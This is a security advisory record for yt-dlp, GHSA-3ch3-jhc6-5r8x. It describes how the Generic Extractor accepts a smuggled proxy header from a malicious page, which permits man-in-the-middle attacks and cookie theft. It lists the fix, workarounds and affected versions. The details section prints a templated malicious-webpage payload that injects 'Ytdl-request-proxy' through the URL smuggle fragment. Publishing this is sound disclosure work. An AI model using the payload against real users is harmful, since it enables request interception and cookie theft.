GHSA-3ch3-jhc6-5r8x

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Source
https://github.com/advisories/GHSA-3ch3-jhc6-5r8x
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/11/GHSA-3ch3-jhc6-5r8x/GHSA-3ch3-jhc6-5r8x.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-3ch3-jhc6-5r8x
Aliases
Published
2023-11-15T14:48:24Z
Modified
2023-11-15T15:12:20.520178Z
Severity
  • 5.0 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L CVSS Calculator
Summary
yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection
Details

Impact

The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.

<details>

To pass extra control data between extractors (such as headers like Referer), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only.

Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a Referer header sent with it, for example.

Additionally, yt-dlp has internal headers to set a proxy for a request: Ytdl-request-proxy and Ytdl-socks-proxy. While these are deprecated, internally Ytdl-request-proxy is still used for --geo-verification-proxy.

However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to set an arbitrary proxy for an arbitrary url that the Generic extractor will request.

This could allow for the following, but not limited too: - An attacker can MITM a request it asks yt-dlp to make to any website. - If a user has loaded cookies into yt-dlp for the target site, which are not marked as secure, they could be exfiltrated by the attacker. - Fortunately most sites are HTTPS and should be setting cookies as secure. - An attacker can set cookies for an arbitrary site.

An example malicious webpage:

<!DOCTYPE html>
&lt;cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')

Where {{ target_site }} is the URL Generic extractor will request and {{ proxy url }} is the proxy to proxy the request for this url through.

</details>

Patches

  • We have removed the ability to smuggle http_headers to the Generic extractor, as well as other extractors that use the same pattern.

Workarounds

  • Disable Generic extractor (--ies default,-generic), or only pass trusted sites with trusted content.
  • Take caution when using --no-check-certificate.

References

Database specific 
{
    "nvd_published_at": "2023-11-15T00:15:09Z",
    "cwe_ids": [
        "CWE-444",
        "CWE-613"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-15T14:48:24Z"
}
References

Affected packages

PyPI / yt-dlp

Package

Name
yt-dlp
View open source insights on deps.dev
Purl
pkg:pypi/yt-dlp

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2022.10.04
Fixed
2023.11.14

Affected versions

2022.*

2022.10.4
2022.11.11

2023.*

2023.1.2
2023.1.6
2023.2.17
2023.3.3
2023.3.4
2023.6.21
2023.6.22
2023.7.6
2023.9.24
2023.10.7
2023.10.13
2023.11.13.5826.dev0
2023.11.13.232715.dev0